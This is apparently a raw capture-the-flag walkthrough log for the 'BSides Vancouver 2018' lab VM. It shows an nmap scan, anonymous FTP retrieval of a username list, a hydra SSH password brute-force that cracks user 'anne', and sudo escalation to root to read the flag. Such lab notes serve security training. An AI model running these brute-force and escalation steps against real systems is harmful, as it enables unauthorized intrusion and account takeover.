BSides Vancouver

Tuesday, August 2, 2022

3:17 AM

sudo nmap -sS 192.168.1.0/24

[sudo] password for kali:

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-08-03 05:18 EDT

Nmap scan report for 192.168.1.1

Host is up (0.00059s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE

53/tcp open domain

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.168.1.2

Host is up (0.0034s latency).

Not shown: 996 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

445/tcp open microsoft-ds

1025/tcp open NFS-or-IIS

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.168.1.3

Host is up (0.00022s latency).

All 1000 scanned ports on 192.168.1.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:22:25:53 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.1.12

Host is up (0.00042s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

MAC Address: 08:00:27:F1:E5:AE (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.1.6

Host is up (0.0000030s latency).

All 1000 scanned ports on 192.168.1.6 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (5 hosts up) scanned in 11.71 seconds

???(kali?kali)-[~]

??$

???(kali?kali)-[~]

??$ ftp 192.168.1.12

Connected to 192.168.1.12.

220 (vsFTPd 2.3.5)

Name (192.168.1.12:kali): anonymous

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

229 Entering Extended Passive Mode (|||51753|).

150 Here comes the directory listing.

drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public

226 Directory send OK.

ftp> cd public

250 Directory successfully changed.

ftp> ls

229 Entering Extended Passive Mode (|||14397|).

150 Here comes the directory listing.

-rw-r--r-- 1 0 0 31 Mar 03 2018 users.txt.bk

226 Directory send OK.

ftp> get users.txt.bk

local: users.txt.bk remote: users.txt.bk

229 Entering Extended Passive Mode (|||26448|).

150 Opening BINARY mode data connection for users.txt.bk (31 bytes).

100% |\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*| 31 5.07 KiB/s 00:00 ETA

226 Transfer complete.

31 bytes received in 00:00 (4.17 KiB/s)

cat users.txt.bk

abatchy

john

mai

anne

doomguy

hydra -t 5 -V -f -l anne -P /usr/share/wordlists/rockyou.txt 192.168.1.12 ssh

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2022-08-03 05:51:25

[DATA] max 5 tasks per 1 server, overall 5 tasks, 14344399 login tries (l:1/p:14344399), ~2868880 tries per task

[DATA] attacking ssh://192.168.1.12:22/

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "123456" - 1 of 14344399 [child 0] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "12345" - 2 of 14344399 [child 1] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "123456789" - 3 of 14344399 [child 2] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "password" - 4 of 14344399 [child 3] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "princess" - 6 of 14344399 [child 1] (0/0)

[ATTEMPT] target 192.168.1.12 - login "anne" - pass "1234567" - 7 of 14344399 [child 3] (0/0)

[22][ssh] host: 192.168.1.12 login: anne password: princess

[STATUS] attack finished for 192.168.1.12 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2022-08-03 05:51:39

ssh [anne@192.168.1.12](mailto:anne@192.168.1.12)

The authenticity of host '192.168.1.12 (192.168.1.12)' can't be established.

ECDSA key fingerprint is SHA256:FhT9tr50Ps28yBw38pBWN+YEx5wCU/d8o1Ih22W4fyQ.

This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.1.12' (ECDSA) to the list of known hosts.

[anne@192.168.1.12's password:](mailto:anne@192.168.1.12's)

Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

\* Documentation: <https://help.ubuntu.com/>

382 packages can be updated.

275 updates are security updates.

New release '14.04.5 LTS' available.

Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Mar 4 16:14:55 2018 from 192.168.1.68

anne@bsides2018:~$ whoami

anne

anne@bsides2018:~$ pwd

/home/anne

anne@bsides2018:~$ ls

anne@bsides2018:~$ ls -la

total 12

drwxr-xr-x 3 anne anne 4096 Aug 3 02:51 .

drwxr-xr-x 7 root root 4096 Mar 4 2018 ..

drwx------ 2 anne anne 4096 Aug 3 02:51 .cache

anne@bsides2018:~$ sudo su

[sudo] password for anne:

root@bsides2018:/home/anne# ls

root@bsides2018:/home/anne# pwd

/home/anne

root@bsides2018:/home/anne# cd /root

root@bsides2018:~# ls

flag.txt

root@bsides2018:~# cat flag.txt

Congratulations!